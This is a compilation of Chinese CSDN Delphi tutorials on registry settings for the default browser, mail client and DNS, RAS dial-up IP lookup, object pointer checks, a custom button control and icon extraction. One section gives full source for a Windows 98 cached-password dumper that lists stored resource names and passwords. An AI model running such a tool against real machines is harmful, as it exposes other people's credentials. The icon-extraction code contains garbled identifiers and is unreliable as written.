Delphi带了很多的Internet应用编程控件,这使得我们开发Internet的应用程序可以轻松些,下面我将逐步介绍一些关于Internet下应用程序编程技巧，这些技巧都是一些细微的方面,但是它却可以给你的应用程序添加重要的功能,将使你开发Internet下的应用程序事半功倍。

说过开场旁白后，首先介绍：设置系统默认浏览器和系统默认电子邮件收发软件。

1.获得默认的internet浏览器地址函数:

下面的函数是通过读取注册表的设置后,得到默认Internet的浏览器所在地址

function GetDefaultShellHTTP : string;

var

reg : TRegistry;

begin

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_CLASSES_ROOT;

if Reg.KeyExists('http\shell\open\command') then

begin

Reg.OpenKey('http\shell\open\command',false);

Result:=Reg.ReadString('');

end

else

Result:='';

Reg.Free;

end;

2.设置internet浏览器

procedure SetDefaultShellHttp(CmdLine : string);

var

reg : TRegistry;

begin

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_CLASSES_ROOT; //注册表的地址：

Reg.OpenKey('http\shell\open\command',true);//注册表的地址：

Reg.WriteString('',CmdLine);

Reg.Free;

end;

setDefaultshellhttp('"C:\PROGRA~1\INTERN~1\iexplorer.exe" -nohome');

3.获得和设置默认的E-Mail 收发软件的函数

下面的函数是通过读取注册表的设置后,得到默认E-mail收发软件所在地址

function GetDefaultMail : string;

var

reg : TRegistry;

begin

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_CLASSES_ROOT;

if Reg.KeyExists('Mailto\shell\open\command') then

begin

Reg.OpenKey('Mailto\shell\open\command',false);

Result:=Reg.ReadString('');

end

else

Result:='';

Reg.Free;

end;

4.设置默认邮件箱

procedure SetDefaultMail(CmdLine : string);

var

reg : TRegistry;

begin

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_CLASSES_ROOT;

Reg.OpenKey('Mailto\shell\open\command',true);

Reg.WriteString('',CmdLine);

Reg.Free;

end;

使用

//SetDefaultMail('E:\FoxMail\FoxMail.exe -T "%1" -S "%2"');

5.是否早想有个域名转换为IP地址的函数，现在我就给你一个

域名转换为IP地址:

function GetIPName(Name: string): string;

var

WSAData: TWSAData;

HostEnt: PHostEnt;

begin

WSAStartup(2, WSAData);

HostEnt := gethostbyname(PChar(Name));

with HostEnt^ do

Result := Format('%d.%d.%d.%d', [Byte(h_addr^[0]),

Byte(h_addr^[1]), Byte(h_addr^[2]), Byte(h_addr^[3])]);

WSACleanup;

end;

6.编写Internet软件常常会遇到检查用户输入的网址，E-mail地址等等，如何解决呢？

我这正好有写好的函数。

检查一个URL是否有效

uses wininet;

Function CheckUrl(url:string):boolean; //检查一个URL是否有效函数

var

hSession, hfile, hRequest: hInternet;

dwindex,dwcodelen :dword;

dwcode:array[1..20] of char;

res : pchar;

begin

if pos('http://',lowercase(url))=0 then

url := 'http://'+url;

Result := false;

hSession := InternetOpen('InetURL:/1.0',

INTERNET_OPEN_TYPE_PRECONFIG,nil, nil, 0);

if assigned(hsession) then

begin

hfile := InternetOpenUrl(hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);

dwIndex := 0;

dwCodeLen := 10;

HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);

res := pchar(@dwcode);

result:= (res ='200') or (res ='302'); //200,302未重定位标志

if assigned(hfile) then

InternetCloseHandle(hfile);

InternetCloseHandle(hsession);

end;

end;

如何处理E-mail地址,下面给你个E-mail地址处理函数

function IsEMail(EMail: String): Boolean;

var s: String;

ETpos: Integer;

begin

ETpos:= pos('@', EMail);

if ETpos &gt; 1 then

begin

s:= copy(EMail,ETpos+1,Length(EMail));

if (pos('.', s) &gt; 1) and (pos('.', s) &lt;

length(s)) then

Result:= true else Result:= false;

end

else

Result:= false;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if isemail(Edit1.Text) then

begin

ShowMessage('eMail-Address!');

end;

end;

7,动态改变DNS Server的地址
下面的函数可以添加 DNS Server的地址
如想添加 202.100.100.65 202.10.10.10
SetDNSAddresses('202.100.100.65 202.10.10.10') ;
//注意: 各地址之间用一个空格隔开

SetTDNSAddresses 定义如下：

procedure SetDNSAddresses( sIPs : string );
begin
// 如果是 Windows NT用下面的代码
SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\Tcpip\Parameters',
'NameServer',
sIPs );

// 如果你用的是Windows 95用下面的代码

SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\VxD\MSTCP',
'NameServer',
sIPs );
end;

其中 SaveStringToRegistry_LOCAL_MACHINE 定义：

uses Registry;

procedure SaveStringToRegistry_LOCAL_MACHINE(
sKey, sItem, sVal : string );
var
reg : TRegIniFile;
begin
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString( sKey, sItem, sVal + #0 );
reg.Free;
end;


CSDN_文档中心_谈用Delphi程序获取拨号连接的动态IP地址

在WIN9X下，如果安装了拨号网络，则在WINDOWS系统的系统目录System下将有两个拨号网络管理程序库RasApi32.DLL和RasApi16.DLL，我们可利用其中的RAS系列函数来获取和设置拨号连接网络的信息。当然是可以获取拨号连接的动态IP地址了。在Delphi帮助文件中，有相关RAS函数的详细说明。

---- 一、先解释一些要用到的数据常量和数据结构。

const
RAS_MaxDeviceType = 16;//设备类型名称长度
RAS_MaxEntryName = 256;//连接名称最大长度
RAS_MaxDeviceName = 128;//设备名称最大长度
RAS_MaxIpAddress = 15;//IP地址的最大长度
RASP_PppIp = $8021;//拨号连接的协议类型，该数值表示PPP连接

type
HRASCONN = DWORD;//拨号连接句柄的类型
RASCONN = record//活动的拨号连接的句柄和设置信息
dwSize : DWORD;//该结构所占内存的大小(Bytes),
 一般设置为SizeOf(RASCONN)
    hrasconn : HRASCONN;//活动连接的句柄
szEntryName : array[0..RAS_MaxEntryName] of char;
 //活动连接的名称
szDeviceType : array[0..RAS_MaxDeviceType] of char;
//活动连接的所用的设备类型
szDeviceName : array[0..RAS_MaxDeviceName] of char;
//活动连接的所用的设备名称
end;
TRASPPPIP = record//活动的拨号连接的动态IP地址信息
dwSize : DWORD;//该结构所占内存的大小(Bytes),
一般设置为SizeOf(TRASPPPIP)
    dwError : DWORD;//错误类型标识符
szIpAddress : array[ 0..RAS_MaxIpAddress ] of char;
//活动的拨号连接的IP地址
end;

---- 二、接着要解释要用到的两个RAS函数。

//获取所有活动的拨号连接的信息（连接句柄和设置信息）
function RasEnumConnections( var lprasconn : RASCONN ;
//接收活动连接的缓冲区的指针
    var lpcb: DWORD;//缓冲区大小
    var lpcConnections : DWORD//实际的活动连接数
   ) : DWORD; stdcall;
function RasEnumConnections;external 'Rasapi32.dll'
 name 'RasEnumConnectionsA';
//获取指定活动的拨号连接的动态IP信息
function RasGetProjectionInfo(
    hrasconn : HRasConn;//指定活动连接的句柄
    rasprojection : DWORD;//RAS连接类型
    var  lpprojection : TRASPPPIP;//接收动态IP信息的缓冲区
    var  lpcb : DWord//接收缓冲区的大小
   ) : DWORD;stdcall;
function RasGetProjectionInfo;external
'Rasapi32.dll' name 'RasGetProjectionInfoA';

    这两个函数的返回值为０时表示执行成功，非０表示错误代码。

---- 三、下面要讨论如何用上面的两个RAS函数获取拨号连接的动态IP地址

---- 　　首先，要用函数RasEnumConnections列出已建立的活动拨号连接的信息，其中包括连接名称、连接句柄、连接设备类型和设备名称；然后根据连接句柄用函数RasGetProjectionInfo获取连接对应的一个TRASPPPIP结构，其中包括一个成员属性szIpAddress即为动态IP地址。具体请参见以下程序片段和注释信息。

procedure TForm1.Button1Click(Sender: TObject);
const
     MaxConnections = 10;//假设最多有10个活动的拨号连接
var
   connections : array[0..MaxConnections-1] of RASCONN;
   //拨号连接数组
   longSize : dword;
   intAvailabelConnections : dword;
   //活动的拨号连接的实际数目
   intIndex : integer;
   strTemp : string;
   dwResult : DWORD;
   dwSize         : DWORD;
   RASpppIP     : TRASPPPIP;
//活动的拨号连接的动态IP地址信息
begin
     connections[ 0 ].dwSize := sizeof(RASCONN);
     longSize := MaxConnections * connections[ 0 ].dwSize;
//接收活动连接的缓冲区大小
     intAvailabelConnections := 0;
     //获取所有活动的拨号连接的信息（连接句柄和设置信息）
     dwResult := RasEnumConnections( connections[ 0 ],
 longSize,intAvailabelConnections );
     if 0 < > dwResult then
        memo1.lines.add( '错误:' + inttostr( dwResult ) )
     else
         begin
              memo1.lines.add( '现有的活动连接有' +
 IntToStr( intAvailabelConnections ) + '个');
//显示所有活动的拨号连接的信息（设置信息和动态IP地址）
        for intIndex := 0 to intAvailabelConnections - 1 do
                     begin
//显示一个活动的拨号连接的设置信息
                          strTemp := '连接名称：'
 + StrPAS( connections[ intIndex ].szEntryName )
                                   + '，设备类型：'
 + StrPAS( connections[ intIndex ].szDeviceType )
                                   + '，设备名称：'
 + StrPAS( connections[ intIndex ].szDeviceName );
                          memo1.lines.add( strTemp );
 //显示一个活动的拨号连接的动态IP地址
                          dwSize := SizeOf(RASpppIP);
                          RASpppIP.dwSize := dwSize;
                          dwResult := RASGetProjectionInfo
( connections[ intIndex ].hRasConn,
RASP_PppIp,RasPPPIP,dwSize);//获取动态IP地址
                          if  0 < > dwResult then
                              memo1.lines.add(
'错误:' + inttostr( dwResult ))
                          else
                              memo1.lines.add(
 '动态地址:' + StrPas(RASpppIP.szIPAddress));
                     end;
         end;
end;


CSDN_文档中心_探究：如何判断Delphi中的对象指针是否可用

探究：如何判断Delphi中的对象指针是否可用

作者: Musicwind®

创建时间：2001-08-07

近日，在网上看到有网友问曰：如何确定一个对象指针是否可用？也就是说，如何确定一个对象指针是否指向一个真正可用的对象实例？其实这本不应该成为一个问题。因为对于程序设计者来说，他应该能够控制自己的程序不去访问一个无效的指针，因为所有的对象实例的创建和销毁都在他控制之下。并且即便没有一个直接的办法来判断对象指针是否可用，也可以通过其他间接的途径（比如使用一些标识等）来做到这一点（比如当我们销毁一个对象实例后，我们将对象指针的指置为nil）。但是假如我们抛开以上所说的这两点不谈，单单来研究在Delphi中，究竟有没有办法来判断一个对象指针是否可用，那情况会如何呢？

在Object Pascal中，一个类可以有两种类型的方法，一种称为对象方法(Object Method)，另一种是类方法（Class Method）。所谓对象方法，指的是方法的定义是针对对象（或称实例）的，因此调用该方法需要基于某个对象（或称实例），比如类的析构函数Destroy就是一个对象方法（其实我们经常用到的绝大部分方法都是对象方法）。而类方法，指的是方法的定义是基于一类对象而言，因此调用该方法不需要基于特定的对象实例，比如类的构造函数Create就是如此。这一点，对我们有些启发。判断一个对象指针是否可用，似乎可以通过以下步骤来完成。首先，我们可以判断该对象指针是否是nil，如果是，那么大功告成，确定不可用无疑；如果否，那么尝试执行该对象的某个对象方法，看看是否出现诸如无效内存访问等的异常，由此来判断该对象是否可用。用如下代码来验证我们的想法：

var

Obj: TObject;

begin

Obj := TObject.Create; //1.创建一个对象

Obj.Free; //2.释放刚刚创建的对象，此时内存被回收

If Obj = nil then //3.判断指针是否为空，(这一步往往不成功，因为对象

//被释放，Delphi也不会自动将对象指针置空)

ShowMessage(‘对象指针不可用。’)

else

begin

Try

If Obj.ClassType = TObject then //4.调用TObject的一个对象方法

ShowMessage(‘对象类型为TObject’);

Except

ShowMessage(‘对象指针不可用。’)

End;

end;

end;

执行上述代码，我们发现，即使Obj.Free已经执行，Obj.ClassType依然可用。这表明，并不是所有的对象方法一定要依赖于某个对象实例才能够访问。究其原因，是因为这个对象方法不需要访问某个对象实例所申请的内存。从这个意义上来说，TObject.ClassType方法并不象是一个是真正的对象方法，而颇有些类方法的味道。

执行上述代码，我们还可以发现，一个对象执行Free方法，只是将其在创建时所申请的内存释放全部释放，但是并不影响到对象指针本身的值。对象指针还是指向原来的内存地址。同时，由于某些对象方法（如ClassType）实现的特殊性，即使对象已经被释放了，对象方法的调用结果仍然正确。

综上所述，我们可以得出一个结论，那就是，一个对象指针是否能够被判断为是否可用，要看该对象指针所属的类，是否提供了访问对象实例内存的途径——这个途径可以是方法，也可以是属性。那么，现在具体到各个类中，情况又如何呢？

TObject，该类是所有类的祖先类，没有办法作出判断。

TPersistent，由TObject派生而来，创建对象实例时不需要申请额外的内存，所以也没有办法判断。

TComponent，由TPersistent派生而来，增加了许多在创建对象实例时需要申请额外内存的属性，所以从理论上来说，它是可判断的。代码如下：

function ComponentExists(AComponent: TComponent): Boolean;

begin

try

AComponent.HasParent; //注意：这个句子也可以为”AComponent.Tag;”

//或者为”AComponent.Name”

result := True;

except

result := False;

end;

end;

通过调用ComponentExists，我们可以得知一个TComponent类型的对象指针是否可用，而不管该对象指针是否已经被释放，是否被置为nil。

其他类，如TControl，TWinControl，或者TButton等等，只要是由TComponent派生而来，则TComponent的判断方法依然适用。

还有其他一些用户自定义的类，若是直接由不能判断的类（比如TObject和TPersistent）派生而来，但是没有需要在实例化时申请内存的属性，那么也没有办法判断；反之，则可以。据个例子来说：

假设我们有一个TPerson类，定义如下：

TPerson = Class(TObject)

Private

FSex: TSex; // TSex 是枚举类型的性别；

FFirstName: String;

FLastName: String;

//…

Public

property Sex: TSex read FSex write FSex;

property FirstName: String read FFirstName write FFirstName;

property LastName: String read FLastName write FLastName;

//…

end;

那么，对于TPerson类型的指针Person，可以用如下代码判断指针是否可用：

Try

Person.Sex;

//或者 Person.FirstName;

//或者 Person.LastName;

result := True; //指针可用

Except

result := False;//指针不可用

end;

以上我们探讨的只是一种技术上的可能性。想要强调的一点是，即使有一个好的可行的办法，也不鼓励经常这么做。因为，一个逻辑严密的程序，本来就应能够杜绝去访问一个无效的指针。

更多文章

[文终]


CSDN_文档中心_特色按钮

每当用到DELPHI自带的控件都感到少了一点什么，形状也好，颜色也好，变化的方式也好，都与自已的项目所需要的标准相差了一些，查阅了一些书籍后发现下面的控件很有可用之处！！！

以下是它的源代码：

unit DsFancyButton;

interface

uses
SysUtils,Windows, Messages, Classes, Graphics, Controls, Forms;

type
TTextStyle = (txNone, txLowered, txRaised, txShadowed);
TShape = (shCapsule, shOval, shRectangle, shRoundRect);
TDsFancyButton = class(TGraphicControl)
private
FButtonColor: TColor;
FIsDown: Boolean;
FFrameColor: TColor;
FFrameWidth: Integer;
FCornerRadius: Integer;
FRgn, MRgn: HRgn;
FShape: TShape;
FTextColor: TColor;
FTextStyle: TTextStyle;

procedure SetButtonColor(Value: TColor);
procedure CMEnabledChanged(var message: TMessage);
message CM_ENABLEDCHANGED;
procedure CMTextChanged(var message: TMessage);
message CM_TEXTCHANGED;
procedure CMDialogChar(var message: TCMDialogChar);
message CM_DIALOGCHAR;
procedure WMSize(var message: TWMSize); message WM_PAINT;
protected
procedure Click; override;
procedure DrawShape;
procedure Paint; override;
procedure SetFrameColor(Value: TColor);
procedure SetFrameWidth(Value: Integer);
procedure SetCornerRadius(Value: Integer);
procedure SetShape(Value: TShape);
procedure SetTextStyle(Value: TTextStyle);
procedure WMLButtonDown(var Message: TWMLButtonDown); message WM_LBUTTONDOWN;
procedure WMLButtonUp(var Message: TWMLButtonUp); message WM_LBUTTONUP;
procedure WriteCaption;
public
constructor Create(Aowner: TComponent); override;
destructor Destroy; override;
published
property ButtonColor: TColor
read FButtonColor write SetButtonColor;
property Caption;
property DragCursor;
property DragMode;
property Enabled;
property Font;
property FrameColor: TColor
read FFrameColor write SetFrameColor;
property FrameWidth: Integer
read FFrameWidth write SetFrameWidth;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property CornerRadius: Integer
read FCornerRadius write SetCornerRadius;
property Shape: TShape
read FShape write SetShape default shRoundRect;
property ShowHint;
property TextStyle: TTextStyle
read FTextStyle write SetTExtStyle;
property Visible;

property OnClick; property OnDragDrop;
property OnDragOver; property OnEndDrag;
property OnMouseDown; Property OnMouseUp;
Property OnMouseMove;
end;

procedure Register;

implementation

constructor TDsFancyButton.Create(AOwner: TComponent);
begin
inherited Create(Aowner);
ControlStyle := [csClickEvents, csCaptureMouse, csSetCaption];
Enabled := True;
FButtonColor := clBtnFace;
FIsDown := False;
FFrameColor := clGray;
FFrameWidth := 6;
FCornerRadius := 10;
FRgn := 0;
FShape := shRoundRect;
FTextStyle := txRaised;
Height := 25;
Visible := True;
Width := 97;
end;

destructor TDsFancyButton.Destroy;
begin
DeleteObject(FRgn);
DeleteObject(MRgn);
inherited Destroy;
end;

procedure TDsFancyButton.Paint;
var Dia: integer;
ClrUp, ClrDown: TColor;
begin
Canvas.Brush.Style := bsClear;

if FIsDown then
begin ClrUp := clBtnShadow; ClrDown := clBtnHighlight; end
else
begin ClrUp := clBtnHighlight; ClrDown := clBtnShadow; end;

with Canvas do
begin
case Shape of
shRoundRect:
begin
Dia := 2*CornerRadius;
Mrgn := CreateRoundRectRgn(0, 0, Width, Height, Dia, Dia);
end;
shCapsule:
begin
if Width < Height then Dia := Width else Dia := Height;
Mrgn := CreateRoundRectRgn(0, 0, Width , Height, Dia, Dia);
end;
shRectangle: MRgn := CreateRectRgn(0, 0, Width - 1, Height - 1);
shOval: MRgn := CreateEllipticRgn(0, 0, Width, Height);
end;//case
Canvas.Brush.Color := FButtonColor;
FillRgn(Handle, MRgn, Brush.Handle);
Brush.Color :=ClrUp;
FrameRgn(Handle, MRgn, Brush.Handle, 1,1);
OffsetRgn(MRgn, 1, 1);
Brush.Color := ClrDown;
FrameRgn(Handle, MRgn, Brush.Handle, 1, 1);
end;//canvas
DrawShape;
WriteCaption;
end;

procedure TDsFancyButton.DrawShape;
var
FC, Warna: TColor;
R, G, B: Byte;
AwalR, AwalG, AwalB, AkhirR, AkhirG, AkhirB, n, t, Dia: Integer;
begin
if FFrameWidth mod 2=0 then t := FFrameWidth
else t := FFrameWidth + 1;

Warna := ColorToRGB(ButtonColor);
FC := ColorToRGB(FrameColor);
Canvas.Brush.Color := Warna;

AwalR := GetRValue(FC); AkhirR := GetRValue(Warna);
AwalG := GetGValue(FC); AkhirG := GetGValue(Warna);
AwalB := GetBValue(FC); AkhirB := GetBValue(Warna);
FRgn := 0;
with Canvas do
for n := 0 to t - 1 do
begin
R := AwalR + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirR - AwalR)/t);
G := AwalG + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirG - AwalG)/t);
B := AwalB + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirB - AwalB)/t);
Brush.Color := RGB(R, G, B);

Case Shape of
shOval: FRgn := CreateEllipticRgn(1 + n, 1 + n, Width - n, Height - n);
shRoundRect:
begin
Dia := CornerRadius;
if (Dia - n) >0 then
FRgn :=
CreateRoundRectRgn(1 + n, 1 + n ,Width - n, Height - n, 2*(Dia - n), 2*(Dia - n))
else FRgn := CreateRectRgn( 1 + n, 1 + n, Width - n - 1, Height - n - 1);
end;
shCapsule:
begin
if Width < Height then Dia := Width div 2 else Dia := Height div 2;
if (Dia - n) > 0 then
FRgn:=
CreateRoundRectRgn(1 + n, 1 + n, Width - n, Height - n, 2*(Dia - n), 2*(Dia - n))
else FRgn := CreateRectRgn(1 + n, 1 + n ,Width - n - 1, Height - n - 1);
end;
else FRgn := CreateRectRgn(1 + n, 1 + n, Width - n - 1, Height - n - 1);
end;//case
FrameRgn(Handle, FRgn, Brush.Handle, 1, 1);
end;
end;

procedure TDsFancyButton.WriteCaption;
var
Flags: Word;
BtnL, BtnT, BtnR, BtnB: Integer;
R, TR: TRect;
begin
R := ClientREct; TR := ClientRect;
Canvas.Font := Self.Font;
Canvas.Brush.Style := bsClear;
Flags := DT_CENTER or DT_SINGLELINE;
Canvas.Font := Font;

if FIsDown then FTextColor := FrameColor
else FTextColor := Self.Font.Color;

with canvas do
begin
BtnT := (Height - TextHeight(Caption)) div 2;
BtnB := BtnT + TextHeight(Caption);
BtnL := (Width - TextWidth(Caption)) div 2;
BtnR := BtnL + TextWidth(Caption);
TR := Rect(BtnL, BtnT, BtnR, BtnB);
R := TR;
if ((TextStyle = txLowered) and FIsDown ) or
((TextStyle = txRaised) and not FIsDown) then
begin
Font.Color := clBtnHighLight;
OffsetRect(TR, -1 + 1, -1 + 1);
DrawText(Handle, PChar(Caption), Length(Caption), TR, Flags);
end
else if ((TextStyle = txLowered) and not FIsDown) or
((TextStyle = txRaised) and FIsDown) then
begin
Font.Color := clBtnHighLight;
OffsetRect(TR, + 2, + 2);
DrawText(Handle, PChar(Caption), Length(Caption), TR, Flags);
end
else if (TextStyle = txShadowed) and FIsDown then
begin
Font.Color := clBtnShadow;
OffsetREct(TR, 3 + 1, 3 + 1);
DrawText(Handle, PChar(Caption), Length(Caption), TR, Flags);
end
else if (TextStyle = txShadowed) and not FIsDown then
begin
Font.Color := clBtnShadow;
OffsetRect(TR, 2 + 1, 2 + 1);
DrawText(Handle, PChar(Caption), Length(Caption), TR, Flags);
end;

if Enabled then Font.Color := FTextColor//self.Font.Color
else if (TextStyle = txShadowed) and not Enabled then
Font.Color := clBtnFace
else Font.Color := clBtnShadow;
if FIsDown then OffsetRect(R, 1, 1)
else OffsetRect(R, -1, -1);
DrawText(Handle, PChar(Caption), Length(Caption), R, Flags);
end;
end;

procedure TDsFancyButton.SetButtonColor(value: TColor);
begin
if value <> FButtonColor then
begin FButtonColor := value ; Invalidate; end;
end;

procedure TDsFancyButton.WMLButtonDown(var message: TWMLButtonDown);
begin
if not PtInRegion(MRgn, message.xPos, message.yPos) then Exit;
FIsDown := True;
Paint;
inherited;
end;

procedure TDsFancyButton.WMLButtonUp(var message: TWMLButtonUp);
begin
if not FIsDown then Exit;
FIsDown := False;
paint;
inherited;
end;

procedure TDsFancyButton.SetShape(value: TShape);
begin
if value <> FShape then
begin FShape := value; Invalidate; end;
end;

procedure TDsFancyButton.SetTextStyle(value: TTextStyle);
begin
if value<>FTextStyle then
begin FTextStyle := value; Invalidate; end;
end;

procedure TDsFancyButton.SetFrameColor(value: TColor);
begin
if Value<>FFrameColor then
begin FFrameColor := Value; Invalidate;end;
end;

procedure TDsFancyButton.SetFrameWidth(Value: Integer);
var
w: integer;
begin
if Width<height then w := Width else w := Height;
if Value<>FFrameWidth then FFrameWidth := value;
if FFrameWidth < 4 then FFrameWidth := 4;
if FFrameWidth >(w div 2) then FFrameWidth := (w div 2);
Invalidate;
end;

procedure TDsFancyButton.SetCornerRadius(Value: integer);
var
w: integer;
begin
if Width<Height then w := Width else w := Height;
if value<>FCornerRadius then FCornerRadius := value;
if FCornerRadius<3 then FCornerRadius := 3;
if FCornerRadius>w then FCornerRadius := w;
Invalidate;
end;

procedure TDsFancyButton.CMEnabledChanged(var message: Tmessage);
begin
inherited;
invalidate;
end;

procedure TDsFancyButton.CMTextChanged(var message: TMessage);
begin
Invalidate;
end;

procedure TDsFancyButton.CMDialogChar(var message:TCMDialogChar);
begin
With Message do
if IsAccel (CharCode, Caption) and Enabled then
begin Click; Result := 1 ;end
else inherited;
end;

procedure TDsFancyButton.WMSize(var Message: TWMSize);
begin
inherited;
if width>300 then width := 300;
if Height>300 then Height := 300;
end;

procedure TDsFancyButton.Click;
begin
FIsDown := False;
Invalidate;
inherited Click;
end;

procedure Register;
begin
RegisterComponents('WYM COMPONENT',[TDsFancyButton]);
end;

end.


CSDN_文档中心_提取win98上网密码

unit Unit1;

interface

uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;

var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;

var
WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.ListBox.Items.Add(Password);
Result := True;
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://www.utilmind.com', nil, nil, 0);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;

end.


CSDN_文档中心_提取应用程序中的图标资源

提取应用程序中的图标资源

    经常看见一些软件有着美丽，光艳夺目，非常个性化的图标，曾几何时也想拥有，可苦于缺少一点点艺术细胞，只好打起妙手空空的念头。经过一天的捉摸，也找到一些门道，效果还佳，再用delphi自带的Image Editor加以修改，彻底私有化，为我所用。洒家用此法做了一些漂亮的图标，令老友羡慕不已。好了，好东西当然不敢独享，且容我为各位慢慢道来：
首先用API函数LoadLibrary(lpLibFileName: PChar): HMODULE; stdcall; 把指定的程序模块映射到调用程序的地址空间去。该函数返回模块的句柄，假定为hExe;
然后用EnumResourceNames(hExe,RT_ICON,@EnumResName,myflag)找到图标的资源名，其中参数EnumResName是回调函数，图标的name值将由回调函数的一个变参得到。
然后再向回调函数体内加入代码提取图标就可以了。EnumResourceNames函数将会一直查找每一个图标直到查找失败或EnumResName返回false值为止。这样我们就能提取程序所包含的每一个图标，榨尽最后一滴油，够狠吧！
详细代码如下：
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, Menus, ImgList;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Open1: TMenuItem;
Save1: TMenuItem;
Exit1: TMenuItem;
OpenDialog1: TOpenDialog;
ListView1: TListView;
StatusBar1: TStatusBar;
ImageList1: TImageList;
procedure Open1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Exit1Click(Sender: TObject);
private
{ Private declarations }
FileName: TFileName;
FIcon: TIcon;
public
{ Public declarations }
end;
Function EnumResName(hModule: HMODULE; lpType, lpName: PChar;lParam: Longint):BOOL;stdcall;
var
Form1: TForm1;
hExe: HINST;
implementation
{＄R ＊.DFM}
Function EnumResName(hModule: HMODULE; lpType, lpName: PChar;lParam: Longint):BOOL; //回调函数不能是对象方法
//lpType是要提取的资源类型，这里为RT_ICON
//lpName为图标资源名
var
hIcon1: HICON;
hResource: HRSRC;
hMem: HRSRC;
lpResource: PByte;
ListItem: TListItem;
Begin
//返回在hExe模块中lpName指定的图标资源的句柄；
hResource:=FindResource(hExe,lpName,RT_ICON);
//Load and Lock the icon
hMem:=LoadResource(hExe,hResource);
lpResource:=LockResource(hMem);
//从资源文件中创建图标并返回其句柄
hIcon1:=Create Iconfrom Resource Ex(lp Resource,Sizeof Resource(hExe,h Resource),True,＄00030000,32,32,LR－DEFAULTCOLOR);
with Form1 do
begin
//用控件ImageList保存提取的图标，并在ListView中显示出来
FIcon.Handle:=hIcon1;
ImageList1.AddIcon(fIcon);
ListItem:=ListView1.Items.Add;
ListItem.ImageIndex:=ImageList1.Count－1;
end;
result:=true;//注意：只有返回为真值时，才能继续提取下一个图标
end;
procedure TForm1.Open1Click(Sender: TObject);
var
myflag: integer;
begin
if Opendialog1.Execute then
begin
FileName:=Opendialog1.FileName;
StatusBar1.Panels.Items[0].Text:=FileName;
Opendialog1.HistoryList.Add(FileName);
hExe:=LoadLibrary((PCharFileName));
myflag:=1;
ImageList1.Clear;
ListView1.Items.Clear;
EnumResourceNames(hExe,RT_ICON,@EnumResName,myflag);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FIcon:=TIcon.Create;
Opendialog1.Filter:='可执行文件(＊.exe)|＊.exe';
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
FIcon.Free;
end;
procedure TForm1.Exit1Click(Sender: TObject);
begin
Close;
end;
end.
篇幅所限，存盘和查错的代码没有列出


CSDN_文档中心_天方夜谭VCL: 多态

天方夜谭VCL: 多态

虫虫

我们中国人崇拜龙，所谓“龙生九种，九种各别”。哪九种？《西游记》里西海龙王对孙悟空说：“第一个小黄龙，见居淮渎；第二个小骊龙，见住济渎；第三个青背龙，占了江渎；第四个赤髯龙，镇守河渎；第五个徒劳龙，与佛祖司钟；第六个稳兽龙，与神官镇脊；第七个敬仲龙，与玉帝守擎天华表；第八个蜃龙，在大家兄处砥据太岳。此乃第九个鼍龙，因年幼无甚执事，自旧年才着他居黑水河养性，待成名，别迁调用，谁知他不遵吾旨，冲撞大圣也。”（注：鼍龙是文雅的说法，民间叫法是猪婆龙，也就是扬子鳄。）如果您冲着这九位说一声“Let’s go”，那场面可壮观了，有天上飞的，有水里游的，也有地上爬的。同样是“go”，“go”的具体形式却各不相同，这正是多态“一个接口，多种实现”的典型例子。

